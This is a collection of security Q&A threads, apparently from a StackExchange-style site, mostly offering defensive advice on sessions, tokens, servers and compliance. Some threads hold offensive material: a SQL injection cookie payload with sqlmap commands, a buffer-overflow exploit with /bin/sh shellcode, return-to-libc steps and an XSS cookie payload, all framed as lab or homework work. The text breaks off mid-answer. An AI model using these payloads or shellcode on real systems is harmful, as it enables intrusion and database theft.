The web-app uses the same session-ID for each session for a fixed user. So, after logging-out of the application, next time the user is logged in, the same session-ID is released as a cookie. However, while the user is not logged in, the application disallows using the cookie (resending the HTTP requests with the same cookie are forwarded to login page).

Is this considered a bad security practice? How about if the same session-ID is used for all users?

Rolling your own session management system is extremely hazardous,  because a lot can go wrong with a session. In PHP you should just use session_start() and the $_SESSION superglobal.

By using the same Session Id each time the user logs in,  then there is no point in changing your password.  There is one token that always permits access.  An attacker could comprise this session with XSS, or due to Insufficient Transport-Layer Security,  and then they will always have access to the system.

Using the same session for every user defeats the purpose, if you need a global state,  use a database


For a simple purpose, a simple httpd server is more secure? Using OpenBSD for example, we have a task to serve static html files, no php/cgi/etc.

Q: What would be more secure? Using a default apache/nginx -OR- using (KISS principle) a chrooted www server that is just one lines long? Example:

python -m SimpleHTTPServer

p.s.: anybody know a more secure solution then the python's one (or with ex: HTTPS support)?

All other things being equal, simplicity is good for security. But let's not reverse the paradigm. Software is secure because it is maintained. Complex software is harder to maintain, but, on the other hand, Apache and Nginx have a huge market share, are very active project, and thus benefit from about the best level of maintenance that can be hoped for. Python's SimpleHTTPServer cannot (yet) boast as much. Therefore, while SimpleHTTPServer is certainly easier to maintain for security issues, and has less room for nasty bugs, it is unclear whether it really is "more secure" than Apache and Nginx.

Another facet of the issue is system administration: even the most secure and maintained software can fail if the sysadmin does not do his job properly; and anything custom, not-mainstream, makes the sysadmin job harder. So using an alternate HTTP server is all fine and dandy as long as the sysadmin masters its fine configuration issues and details. Said otherwise, if the local sysadmin is a god of Apache, then let him use Apache; that's what will be most secure in practice.


Auth code grant /w PKCE for SPAs I'm a security newb trying to find out how to secure my SPAs, and am totally lost in the forest of RFCs, BCPs, drafts and blog posts. If possible, I'd like to serve my SPAs statically from a cdn. At first I was uplifted by this article from Okta explaining why and how to replace the implicit flow with the code+PKCE flow. This BCP draft also seemed promising, however (emphasis mine)...

  The code in the browser then initiates the authorization code flow
  with the PKCE extension (described in Section 7) (B) above, and
  obtains an access token via a POST request (C). The JavaScript app
  is then responsible for storing the access token securely using
  appropriate browser APIs.

Storing the access token securely using appropriate browser APIs – is this even possible?

If I understand it correctly, the code+PKCE flow for public clients is only better than the implicit flow because it doesn't put the access token in the address bar and history, but it still has the drawback that the tokens need to be stored in localstorage/sessionstorage/non-httponly-cookies.

Right?

So I'd still be vulnerable to XSS and evil browser extensions.

I'm considering two alternatives:

Use a confidential client backend that serves my public SPA clients. Confidential client receives tokens in back-channel, and sets them as HttpOnly-cookies. Public clients can now talk to protected resources without using confidential client as proxy on every request.
Storing tokens on confindential client backend so that they never reach the public clients. Public clients instead are given a session cookie, referencing the tokens. Public clients will need to use confidential client as proxy on every request to protected resources.

Storing tokens in HttpOnly-cookies seems a lot better than storing them in localstorage/sessionstorage, but comes at cost of serving SPA from confidential client instead of directly from cdn.

Any advice on these approaches? Any literature that explains these approaches (or another canoncial way) in more depth?

I wanted to add a comment, but I'm new here, not enough rep...

About the long-lived refresh token, you shouldn't get on with your PKCE based SPA. It should be access token and id token only (for bearer) or possibly id token only (for JWT stateless).
By definition both should have a short life with no refresh possibility. Instead you should use the iframe defined in the spec of openid to "refresh" the access id tokens without the use of a refresh token.

Here's an example of an angular lib that implements the iframe logic: https://manfredsteyer.github.io/angular-oauth2-oidc/docs/additional-documentation/refreshing-a-token.html
Look at the implicit flow, silent refresh logic.

If you really want to have a refresh token with a PKCE on SPA, the requirements you should meet are here: https://tools.ietf.org/html/draft-ietf-oauth-security-topics-13 section 4.12. Be sure that the refresh token logic is correctly implemented by the auth server.


Is it OK to use a part of an e-mail as a master password of my password management? I only memorized my e-mail's password. Every other passwords I use are stored on a password manager.

I used to hide a long random string in a fake e-mail in my inbox as my password manager's master password, but now I changed that to an excerpt of a real e-mail I have.

Do you see any serious flaws on that scheme?

Yes, there are a number of flaws with doing this:

All of the mail admins have access to your mail file and therefore can read this email.
Chances are the mail file is not encrypted at rest, which means potentially sysadmins have access to it.
If DLP tools are run against your mail file they will likely pick this up and store it in their database.
Not sure if you have an offline copy of your mail file on say your hard drive and if you do, those with access to your local drive, would have access to it.

Best option would be to combine multiple passwords that you have memorized for your master password and use that.


Find the way back to the safe mode I use MAC OS operation system that I frequently connect to my iPhone, I use Gmail, my university e-mail service, my university personal space, and numerous other websites that require log-in.

I know that I've been hacked, someone has full control over my computer, not in GUI way, but that person can delete files and create files. If he/she access to anything else I really can't say.

My solution is to change my computer, buy a new one and I won't try to do any information exchange happen between my new computer and the old one. But I still need to use my university account, e-mails, Gmail and my account on the websites, and I still need to use my iPhone.

Is this enough to guarantee the cybersecurity against that specific person ? or I need to change my phone, emails, and everything?

Here is a screenshot that i've received from the hacker.

It looks like they used the popular Metasploit framework to hack you. Everything you do on your computer between the time they hacked you and now is available to the attacker. I suggest you run an antivirus scan to remove the malware. If it turns up nothing, you should re-install your operating system. It's very unlikely that you need to buy an entire new computer. It takes a far more advanced hacker than the screenshot is showing to persist malware even after the system was re-installed.

Any account you logged into while your system was hacked should be considered compromised. Change the passwords for all of those accounts, and don't run random programs again. If you kept credit card or debit numbers on your computer, consider alerting your bank.


What is the point of having a refresh token if it can be as easily stolen as an access token on client-side/JavaScript applications (SPA/PWA)? From my understanding, the point of having a refresh token and short lived access tokens is to mitigate the consequences of having the access token stolen. This way, if this happens, the attacker will only be able to use it for a very short duration of time.
However, because refresh tokens and access tokens are usually stored in the exact same way on client-side/JavaScript apps, usually on local storage or session storage, the effort/difficulty of stealing the refresh token is the same as the access token, which means that an attacker can steal the refresh token as easily as he would be able to steal the access token and thus request as many access tokens as he wants until the refresh token expires.
If this is true, then what real difference is there between having a long lived refresh token and a short lived access token versus just having a long lived access token on client-side/JavaScript apps? You could store the refresh token in a secure http-only cookie to prevent XSS attacks but you could do the exact same thing with access tokens.

You're correct. If refresh token is stored in same vault as access token, the distinction between the two is diluted.
In https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/ is a phrase "Refresh tokens are usually subject to strict storage requirements to ensure they are not leaked".
If your application is compromised by attacker, you will anyway be in trouble. Still there exist scenarios where having separate token for access and refresh is beneficial as the attacker cannot access the refresh token.
Again, there are number of scenarios where the phrase from question "attacker can steal the refresh token as easily as he would be able to steal the access token" holds true.
To answer the original question is: Every improvement in security is an improvement no matter how small they are!


Temporary XSS Vulnerability I found xss on a textarea field.
When you enter a character to this field it output the character in real time so when I input the following code:

<input onclick=alert(document.cookie)>

there is no input validation or any filtering so I can click the input field and bam xss.

My question is if there is a real vulnerability in this flaw? I can't think of a real vulnerability because I can't send a victim this link with the injected code.

If u cant send the link, that would be a case of self-xss which involves the victim injecting malicious javascript snippets himself, which is a non-vulnerability in the bug bounties i have come across or even for professional assessments. However, social engineering attacks have been reported in the past wherein an attacker convinces someone to paste malicious javascript promising some result but in actual it ends up causing harm to the victim. Since, this involves a lot of user interaction, it is mostly a non-vulnerability. But, adequate protection should be put in place so the input isn't reflected anyways.

More about self-xss at :
http://en.wikipedia.org/wiki/Self-XSS


Why is phpMyAdmin & Apache connecting to random IPs? Using phpMyAdmin and XAMPP in connection with local WordPress development.

Sometimes when I open the local site http://localhost/phpmyadmin/index.php the firewall is showing connection attempts from httpd.exe, for example to IPs 185.59.222.11 and 185.59.222.12.

So yes, the connection goes outward from the local machine to those IPs and not the other way round. In fact I have not had any attempt that was coming from the outside to httpd.exe so far.

Using http://ip-lookup.net/index.php I can see that IP 185.59.222.122 is NS ns3.superhosting.cz for example.

Are these connection attempts to get into the local MySQL database somwhow?
Is someone trying to hack into this development machine?
I don't think so because the direction is going outwards, or am I misunderstanding this?

Perhaps it is of importance to notice that I am behind a VPN 365/24/7.

So far I am blocking all these requests.
Also these requests do not happen often, most of the time when I refresh the http://localhost/phpmyadmin/index.php site. This leads me to thinking that possibly phpMyAdmin is looking for an update?

At times, when inside the WordPress dashboard httpd.exe also connects to outside IPs and checking those I can see that they belong to wordpress.org, so I allow them and that for example leads to the WordPress News articles being displayed in the local WordPress dashboard.

Additionally, if you can be asked, would anyone please kindly share a link or document on how to securely set up phpMyAdmin and Apache (XAMPP) for local development, while still allowing me to install WordPress plugins and the like from the outside net?

Those IP-addresses are almost certainly related to phpmyadmin doing a version check.  This is to show whether your version is up-to-date. See libraries/VersionInformation.php where it will do a request for www.phpmyadmin.net. My computer returns 195.59.222.12 for this host. But because this is a CDN your results may be different.

You can disable the version check in the configuration by setting:

$cfg['VersionCheck'] = false;

in config.inc.php


return to libc- finding libc's address and finding offsets So I tried performing a return-to-libc according to https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/ .

I found libc's address by using "ldd vuln", and found system's offset by using "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system".

I was struggling with finding the address of "sh" in the fflush command in the program.

I tried hexdump of the binary, and found the offset of "sh\x00", but couldn't find the base-address of the binary.

I am not sure if the addresses I found of libc and system's offset are valid, and I don't really know how to find the actual address of the "sh\x00" string.

Please correct me if I'm wrong about the way I found the addresses, and I'd love to get help with finding the string's address :)

Thank you in advance! :-)

First, before you can approach your problem, you need to check if the executable is running under ASLR (https://en.wikipedia.org/wiki/Address_space_layout_randomization)
If that's the case, you will need to find a way to leak the address from the program, as the address of libc will be different every time. You can easily check this by running gdb-->b main-->info proc mappings a couple of times and comparing the offsets. If they are different, your executable is probably running under ASLR.
Assuming there is no ASLR protection, using gdb-->b main-->info proc mappings should give you the base address of the libc SO. In order to find the offset of the function you'd like to jump to, you can use many methods, but using readelf -s should work fine - this will give you the offset of the function calculated from the base of the SO (base address of SO + offset = position of code at runtime).

In order to find the base address of the executable module at runtime you can use use gdb or any other debugger and search for the entry point of the executable (or just search for your string after the executable is loaded into memory...). Basically any program that will load your executable to memory and allow you to view the memory will do.

The address of an executable under linux is usually 0x400000 for 64 bit executables and 0x08048000 for 32 bit executables as defined by the gnu linker. But there's nothing stopping someone from changing the entry point to a different address.

After you've figured out the memory mappings, you'll need to find gadgets in the code, I'll leave that for you to research... https://en.wikipedia.org/wiki/Return-to-libc_attack

Perhaps you can find more answers by looking at exercises at exploit-exercises.com
for example, protostar stack6 should deal with ret2libc, you can look for a walkthrough

edited: it seems that ldd won't always give you the correct address, it even ignores disabling of ASLR on my system - It's probably better to use gdb


Use of automated security testing tools in the industry I read this article about the 10 year old Finnish boy collecting a $10,000 bug bounty from Instagram with interest. According to the article (and I hope someone can shed more light on the exact details of the bug bounty), this boy was able to pick up information from Youtube and other online resources to figure out the security loophole.

What I am wondering about is whether there are standardized tools or plug-ins that programmers use to conduct automated security audit of their code, and if there are standardized tools that penetration testers use to do an automated security testing of the site. And if there are, then what is the likelihood of events such as the one described in the article occurring and what can the companies do to minimize the risk of these events?

There are many tools, and a few standards, but no standardized tools and a lot of the tools are expensive.

To minimize risk you basically have to teach your team how to code and deploy securely, conduct security tests frequently, and frequently update your security infrastructure at a very fast cyclical pace.

This can get expensive to do (time or money-wise) so lots of people simply don't do it or they only do a little bit.

The constant "rush to market" isn't helping matters. The current business trend is on speed to deliver an incomplete product rather than building for long-term quality. So inevitably cuts are made and some of the cuts are in security. This is unfortunate because in most cases the cost to re-engineer a product so it has security is MUCH more than it would have been to design security into it from the beginning.


Why do we need IPSec when we can encrypt data at Application layer? We can Process encryption of data at application layer according to given key. So why do we need to use IPSec for security ?

Lets say I want to send message to other machine over internet. Which one is good IPSec or manual encryption ?

TLS was designed to secure only the Application Layer data only.  You can use TLS to create a VPN tunnel, but it is not in this way as often.

IPSec/ISAKMP was designed to secure the IP, TCP, and Application Layer data.  When using IPSec the IPs are encapsulated with an extra layer of the two endpoints for the IPSec tunnel (VPN), and everything at the Transport Layer and above are encrypted.

Because of the way IPSec encapsulates and secures data it is ideal for large routers.  You can route specific network traffic to use the IPSec tunnel across multiple subnets if you wanted to.  It also doesn't require special knowledge or a key exchange since the decision to encrypt traffic is made at the IP level of the stack.  It does require your network to have already established an IPSec tunnel to reach the services in the remote network.  This is ideal for connecting different company campuses' networks together through single points of access.


Forensics hdparm command I'm new to forensics and I don't know yet what I'm allowed to do or not.
I would like to know if I'm allowed to issue the following command hdparm -I /dev/sdb where /dev/sdb is the hard drive to duplicate?

The idea here is to gather information about the hard drive before begining the duplication. Of course in this case, the hard drive is connected to a write block device.

It depends.

hdparm -I asks the drive, that is the firmware in the drive will reply to this command. If you consider the drive itself innocent and only the data stored on the drive the problem then this command probably does not harm. But if you deal with a case where the firmware might be manipulated then this command might change information which would have been important for the forensic analysis.


SQLMap Cookie Injectioin with Working Manual SQLi I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value:
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

This works great manually. Now, I'd like to be able to use this within SQLMap to enumerate the database automatically but have been struggling. I've tried the following variations to no avail.
sqlmap --cookie "wp_sap=[\"1650149780')) OR 1=2 " -u http://sandbox.local -p "wp_sap" --dbms "MariaDB" --suffix "#]" --level 5 --technique U -proxy http://127.0.0.1:8080

sqlmap --cookie="wp_sap=*" -u http://sandbox.local -p "wp_sap" --dbms="MariaDB" --prefix "[\"1650149780')) OR 1=2" --suffix "11#]" --level 5 --technique U -proxy http://127.0.0.1:8080

sqlmap --cookie="wp_sap=[\"1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,*" -u http://sandbox.local -p "wp_sap" --dbms="MariaDB" --suffix ",11#]" --level 5 --technique U -proxy http://127.0.0.1:8080

I'd really appreciate some help to get this working.

First of MariaDB is supported through MySQL engine in SQLmap so the parameter you have there --dbms "MariaDB" is wrong. There are different reasons that each of your three commands are not working.

First one does not include an injection point.
Second the suffix you use is wrong as it misses the double quote that closes the escaped quote from the prefix.
The cookie format is wrong and the suffix is wrong as well.

The reason why it was suggested to use the -r flag is because it reads the request directly from a file and therefore there are less chances to make the mistakes you did.
Eventually you can make this work with a prefix/suffix or with an injection point or with the request from a file or even with a tamper script. Easiest thing would be the injection point so here is a command that should be working.
sqlmap --url='http://sandbox.local/' --cookie="wp_sap=[\"1650149780')) OR 1=2 *#\"]" --dbms=mysql --union-cols=10-12 --technique U

The * notes the position for the payload, the double quotes are escaped \" and I specified the --union-cols to be of that value as you show that the manual payload that worked has more than 10 columns and by default sqlmap reaches up to 10 without increasing the level.
Also in case the injection does not work with NULL values you might want to test it with --union-char=1 parameter!


PA-DSS & DTMF application If the payment application is not storing any credit card information, does it needs to be PA-DSS? The application takes the Credit card information using DTMF and pass-through via secure XML for payment processing.

Thanks
RB

Storage of card data is not the deciding factor for PA-DSS scope.  If the application handles card data, even if it does not store it, it could be in scope.

See p. 16 of the PA-DSS Program Guide for the "To Which Applications Does PA-DSS Apply?" section:
https://www.pcisecuritystandards.org/documents/PA-DSS_Program_Guide_v3_1.pdf

Included in that section is a list of types of applications to which it does not apply.

If card data is handled, one of the major factors is whether the
software is COTS - are you distributing non-customized software to
many customers?  If so, PA-DSS likely applies.
If you are creating custom software for a single customer?  PA-DSS
likely does not apply.
If you will be hosting the software as a service yourself and not distributing any components, PA-DSS likely does not apply.  However, you may be in scope as a service provider and need to undergo PCI DSS validation.

If in doubt, it is best to speak with a PA-QSA; that is the type of assessor that performs PA-DSS validations.  They can work with you on whether your application is eligible.

I've said "likely" in many places above because depending on your application's place in the payment chain, certain tokenization models, other "scope reduction" solutions, etc., it can change the situation.  For example, I am aware of some DTMF-oriented payment applications where the solution provider was in scope for PCI DSS themselves, but did not need PA-DSS validation on their software due to the hosting model.


Is KernelCare kernel patching recognized as a valid method of patching kernels by 3rd party auditors and pen testers? This is probably more of a compliance question, so if there is a better place to ask, please let me know.

Background:

It is a long complex story, but we can't easily update our linux kernels due to sub-optimal use of 3rd party software and configuration management systems.  It has been suggested that I use KernelCare to patch 30k of our servers kernels.

We have sensitive confidential data, PCI systems and much more.  We are audited on a regular basis by multiple external parties.

Problem Statement:

While I can find thousands of sites clammering over the use of this tool, I can not find any sites that reference operating system vendors, upstream linux kernel maintainers, security pen test organizations, or any other authoritative sources that could suggest this is recognized as a valid method of patching kernels and that it does not introduce additional risk.  I also can not find any 3rd party validation of their tool that confirms it actually fixes all the vulnerabilities and does not introduce new vulns or back doors.

Question

Aside from saying "no"; which I am perfectly capable of, has anyone gone through to exercise of validating this method of patching and specifically KernelCare?  If so, what sources did you provide your customers and auditors?

We used KernelCare with Virtuozzo containers successfully and massively.
Now I'm in another company and we use KernelCare for all our DC services as well. At least with DirtyCow it was quite helpful and worth it.


Stack smashing keep getting segmentation fault I have a homework assignment to do stack smashing,

The exploit code creates a badfile in which the vulnerable file reads and buffer over flow occurs.

I have already did the 2 commands below to ensure I can complete the attack

sudo sysctl -w kernel.randomize_va_space=0

gcc -o stack -fno-stack-protector stack.c   (where stack.c is the vulnerable code)

I disabled the non executable stack as well

For the exploit, I have the shellcode, so what I did is to get the stack pointer hence the return address and push them into a buffer in the exploit code. The buffer is filled up with NOPs to the half of the buffer, then the shell code. The rest of the buffer is filled up with the return addresses.

so my code is as below

  /* exploit.c
*/
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"    /* xorl %eax,%eax*/
"\x50"          /* pushl %eax*/
"\x68""//sh"    /* pushl $0x68732f2f*/
"\x68""/bin"    /* pushl $0x6e69622f*/
"\x89\xe3"    /* movl %esp,%ebx*/
"\x50"        /* pushl %eax*/
"\x53"        /* pushl %ebx*/
"\x89\xe1"    /* movl %esp,%ecx*/
"\x99"        /* cdql*/
"\xb0\x0b"    /* movb $0x0b,%al*/
"\xcd\x80"    /* int $0x80*/
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
long *addr_ptr,retaddr;
char *ptr;
char *aptr;

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

retaddr = get_sp() - atoi(argv[1]);
printf("Stack Pointer: 0x%lx\n", get_sp());
printf("Using address: 0x%lx\n", retaddr);

//int i;
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

int i;
for(i=0;i<(sizeof(buffer)-1)/2;i+=4)
    *(long *)&buffer[i] = retaddr;

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
 }

So for the offset I will input random numbers to try the offset, to get to the correct address. However I keep getting segmentation faults after iterating a lot of times. I have no idea what is going on. Anyone can help?

Your memcpy utilization needs a review - please follow:

Your original post:
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

For starters, you use buffer without referring to it as a pointer - &buffer
actually, there are some compiler that can handle it, so it's not necessarily what stops you from exploiting the stack.

Now, you try to measure the buffer, decreasing by one and then cut it in half - it gives you 258 offset.
Your NOP sled now looks something like this:

  NOP, NOP, NOP X 517 --- 258 unspecified bytes -- shellcode

that doesn't make so much sense - why to leave those unspecified bytes inside your NOP sled?

Last, you make an iteration over i that cover half of your NOP sled with your guess of the return address.

Can you see your errors now?


Techniques for bypassing zero length check in javascript? I am working on a node.js application that allows users to sign up for accounts using social media.  When they do this an entry is created in our database with their email address, and a blank password.

When I saw this I became concerned that someone could simply supply an email address and a blank password to log in as anyone who had a social media account.  After some quick testing it appears that there is a line in the authentication code that throws an error if there is a zero length password.  The line is below:

 if (!username || !password) { ...

The only thing that I could think of to try and trip this up was to pass a URL encoded DEL character in (%7F) but this didn't bypass either.

I'm just curious if I am safe with the above or if there is some character that could be passed in that would get past the check above?

The test you have:

if (!username || !password)

Checks if either username and password values are javascript falsey values.  A falsey value in javascript is any one of these : null, undefined, 0, false, NaN or an empty string.

An empty string in javascript is a zero length string so if it has at least one character in it (any character will suffice), then it is not an empty string.

So, if because of the way your code is structured, you know that both username and password will always be strings, then the above code is just checking to see if either of them are empty strings.

There is no character that could be in those strings that would pass the above test.  One of the strings must be completely empty (zero length) to pass that test.


secret key not available for decryption, but still shows up in GUI I'm trying to decrypt a message using my personal secret key.

When I try to decrypt the message (using gpg --decrypt message.txt), I get the following error:

gpg: encrypted with RSA key, ID 3810D17A
gpg: decryption failed: No secret key

I believe the reason for this to be the following:

When I run gpg --list-key i get the following output:

/Users/sahandz/.gnupg/pubring.gpg
---------------------------------
pub   2048D/00D026C4 2010-08-19 [expires: 2018-08-19]
uid       [ultimate] GPGTools Team <team@gpgtools.org>
uid       [ultimate] GPGMail Project Team (Official OpenPGP Key) <gpgmail-devel@lists.gpgmail.org>
uid       [ultimate] GPGTools Project Team (Official OpenPGP Key) <gpgtools-org@lists.gpgtools.org>
uid       [ultimate] [jpeg image of size 5871]
sub   2048g/DBCBE671 2010-08-19 [expires: 2018-08-19]
sub   4096R/0D9E43F5 2014-04-08 [expires: 2024-01-02]

pub   2048R/8D596035 2012-09-12
uid       [ unknown] Sonja Buchegger (CSC) <buc@csc.kth.se>
sub   2048R/0C6AB020 2012-09-12

pub   2048R/E22ECA45 2015-11-13 [expires: 2016-02-11]
uid       [ultimate] Sahand Zarrinkoub (DD2395) <sahandz@hotmail.com>
uid       [ultimate] Sahand Zarrinkoub (DD2395) <sahandz@kth.se>
sub   2048R/F16B7DCC 2015-11-13 [expires: 2016-02-11]

pub   2048R/CA0EC350 2012-09-11 [expires: 2022-09-09]
uid       [  full  ] Computer Security (course key) <gpg@dasak.csc.kth.se>
sub   2048R/51C9E3E9 2012-09-11 [expires: 2022-09-09]

As you can see there is no secret key listed here.

However, if look in the GUI (GPG keychain, using my macbook) I can indeed see that there is a secret/public key pair that is my personal one.

How can I fix this? I would very much like to keep the key pair I created originally rather than creating a new one.

--list-keys only lists public keys. To list secret keys, use
--list-secret-keys (or just -K).

If you don't have a secret key with ID 3810D17A, you can't decrypt the
message. Creating a new keypair would not help with this, unless your
correspondent is willing to re-encrypt the message with your new public
key.

If you do have that key, I'm not sure why the software isn't just using
it. The --list-packets option may shed some light on what's in the
message, how it was encrypted, etc.


Host based code injection defense vs anti virus? Recently I came across a paper titled Host-based code injection attacks: A popular technique used by malware.

Another paper titled "Bee Master: Detecting Host-Based Code Injection Attacks", suggests a defense mechanism against HBCIA's.

From what I understand:

Virus injects their code into a victim process to execute it.
Antivirus software is able to defend against these attacks.

My query is how will "Bee Master" or any other defense mechanism against HBCIA be different from generally used antivirus software?

This is based on information found here 1, 2

Bee Master is a research project that describes a mechanism for determining if a host-based code injection attack has occurred. It does this by running "honeypot" processes that have well-known behavior and then monitoring those processes to see if their behavior pattern changes.

While Bee Master seems to do an excellent job (see page 17) of identifying that an attack has occurred, it has no mechanism whatsoever for responding to such an attack. As Bee Master only indirectly detects attacks due to a change in behavior in one of its honeypot processes, it cannot always (perhaps never) what the attack vector was; it just knows that a honeypot process was tampered with.

It is far from clear what the appropriate response should be when an injection is detected.

While Bee Master only focuses on this indirect detection of viruses, more typical anti-virus applications focus on direct detection of malicious code (eg: via code examination or suspicious process activity), terminating the errant processes, and sanitizing the computer.


What benefits does Nessus have over OpenVAS? Nessus and OpenVAS appear to have fairly similar features. Why would you choose one over the other, besides the benefit of commercial support (which isn't available for Nessus Home Feed users anyways)?

I think that both projects will have their strong and weak points.  At the moment I'd say that Nessus appears to have a wider range of plugins available and arguably a better user interface than the standard OpenVAS client/server implementation.

In addition Nessus seems to have widened their original focus in unauthenticated vulnerability scanning to include authenticated (audit) style checking.  In several scenarios this is likely to produce more accurate results than unauthenticated scanning.  Having looked at these scanners authenticated scanning capabilities, Nessus does seem more advanced here than OpenVAS

EDIT : Just thought I'd add another couple of things I've noticed which could be relevant to people looking to evaluate these two.  If you're looking at Database Scanning (Oracle/SQL Server) Nessus offers credentialed scanning for these, with DB level creds, which will find some vulnerabilities.

That said if you're interested in database vuln scanning NeXpose could be well worth considering, it seems to have good authenticated and unauthenticated database scanning.


How to intercept http/https requests done by an Android app in plain text? When I give an android app internet permission and read access to my files, malicious software can send my personal data (pictures and video) to a remote server without me being aware of it.

Is there a way I can intercept all the request done by an app on Android?
I am looking for something similar to what postman interceptor does on a browser, but instead, I am to listen to the app's requests. (Or chrome developer console, Network tab)

Using a packet capture tool like the other answers suggest will give you the raw network traffic, but will not help decrypt HTTPS traffic.
For that you will probably need to install a certificate and change all traffic to use that certificate.
Tools like Burp Suite are used for this:
https://support.portswigger.net/customer/portal/articles/1841101-configuring-an-android-device-to-work-with-burp

Also, this will only work if the app doesn't do cerificate pinning, for those you might have to decompile the app into smali, remove pinning and rebuild it.


expose home applications to the internet I have some web applications (for example jupyter notebook) running on my home pc (ubuntu) that sometimes I would like to access remotely.
What would be an efficient and safe method to do it?
I don't need to remotely access the computer, I just want to access web applications that run on it
The following are the options that I know:

remote desktop. I want to avoid it because I access from networks that are usually slow (for example from a cafe)
ssh tunnel. I also know about ddnsfree and with this I would not have to worry about the ip
vpn. In my house I have a raspberry pi that I have pi-hole installed, in which I could install a vpn server

But I have very little security knowledge and I am very concerned about exposing my personal computer to the internet. What would be the best option for this case? Are there other alternatives or software designed for this? What security considerations should i keep in mind?

The best solution for this problem would be renting a cloud server and host your applications on their site as you don't need to expose your home network and are personally secure if the server got hacked in some way.
If you still would like to host it local I would suggest an VPN tunnel if you need your PC connected to your whole network for many reasons. If you put your computer in a DMZ or make a own network for that and cut it off the other devices I would suggest a SSH server. Reasons for that are:

Both, VPN and SSH, are very robust and secure because the add some strong encryption. Anyway, it's easier for you to connect with OpenVPN or other software and you can use more features of your home network as you tunnel the whole traffic. These are coming in the future as you are surely expanding your solutions so better start with a full setup than always a short term solution.
As you are thinking of SSH or VPN you got the security problem with both solutions. If one get compromised they get your network (VPN connects you to a network and SSH to a particular PC but if this PC is in your local network it doesn't matter which one get compromised). So better start with a protocol that fits all your needs and more.
One big drawback will be that it's harder to setup and maintain a VPN Server than a SSH Server.
VPN offeres more privacy as it adds another layer and works as a direct connection to your own network.

So if you are thinking of these reasons you can select your needed protocol. If you just want to put one PC on the internet, which is cut off the network (Either DMZ or physically), SSH will be enough as it's easier to maintain and install. If this PC needs to be connected to your network you can use a VPN as it doesn't matter in security perspective and you can use the privacy point.
I know I missed RDP here but as you stated you don't like it I took it out off my considerations.


Burpsuite - finding xss vulnerabilities in the vaadin framework I made a little website using the vaadin-framework. It contains one TextField-component for user input and one Label-component which is placed in another view and which is displaying exactly the value, entered in the view before.

The Label-component is definitely vulnerable against XSS. I know it because I tested it manually. But I would like to find a way to use a tool like Burpsuite and to avoid the manual process.

After watching some videos and reading tutorials about using Burpsuite against XSS Vulnerabilities I recognized that my case is a little different.

I enter the value "TheKing" in my TextField-componentand Burpsuite is showing me following result (in the Intercept Tab):

POST /UIDL/?v-uiId=1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101     Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Referer: http://localhost:8080/
Content-Length: 455
Cookie: JSESSIONID=18u12s9qqlvh416iz3rq3666yj
Connection: close
{"csrfToken":"28170032-d198-4d30-b1eb-9e273b338ee6","rpc": [["27","com.vaadin.shared.ui.ui.UIServerRpc","resize",[802,1280,1280,802]],["31","v","v",["text",["s","The King"]]],["31","v","v",["c",["i",8]]],["30","com.vaadin.shared.ui.button.ButtonServerRpc","click",[{"altKey":false,"button":"LEFT","clientX":655,"clientY":58,"ctrlKey":false,"metaKey":false,"relativeX":98,"relativeY":21,"shiftKey":false,"type":1}]]],"syncId":0,"clientId":0,"wsver":"7.7.0"}

My website url looks like: http://localhost:8080/#!main/TheKing

What can I do with these information?

You should look for the HTTP response (tab) in the HTTP history tab. There you can see if your input was filtered or encoded in the response in any way.

But it would be easier to use the Repeater option. Just right click on your HTTP request, and select "send to Repeater". Then go to Repeater tab. Using repeater, just try to manually modify the HTTP request parameters, send the request, and look for the replied value in the response. You can resend/modify the request as many times as you want.

I must note that Burp does not have a javascript engine. That means that it would be quite hard to detect DOM based XSS this way. That also means that Burp wont throw any alert boxes if XSS is present, but you have to conclude by yourself based on the response and the way your input was encoded/filtered if XSS is possible.


Scope Definition 27001: Locations I m in the process of defining the scope definition according to ISO 27001 for a company that its core business process is based on the analysis of health-related data. The IT infrastructure is entirely based on the cloud and the company has one office from which employees access the cloud IT infrastructure and perform all their tasks on the cloud.

Is the location of the cloud provider going to be listed in the location under the scope of the ISMS? If yes, what evidence do you require to show to an accreditor, note that you can only access the cloud via the APIs - you dont have any access to physical location - however you are responsible for many things like firewalls - data security - access controls etc.

No. Not unless you have physical access to it and it is your cabinet/rack. It is likely they will have ISO 27001 certification already. If not you could require it of them. Or at least the right to audit.
It is likely that your scope will be something like the protection of customer and corporate data in the provision of health-related analytics
Location office @ ABC Street


Is there any way to block LD_PRELOAD and LD_LIBRARY_PATH on Linux? Preferably with a vanilla Linux kernel i.e. not using SELinux or grsecurity?
Lately there has been a case of in-the-wild UNIX server malware:
https://www.virusbtn.com/virusbulletin/archive/2014/07/vb201407-Mayhem
that takes advantage of LD_PRELOAD to implement a hidden userspace trojan. I'm thinking it would be good to bar limited users from messing with shared library paths, if possible.
(I would go further, e.g. grsecurity/trusted path execution, but that is not practical at the moment.)
Is there any way I could reliably do this?
Edit: what I meant above is that, normally, any user can use LD_PRELOAD to inject any library into any executable that they can run, and that is not setuid or setgid. This is a known mechanism for creating hidden, persistent malware. Is there any way I can prevent a given user from using LD_PRELOAD at all?

Essentially, you need to control the execution environment of the apps. There's no magic about it. A couple of solutions that come to mind:

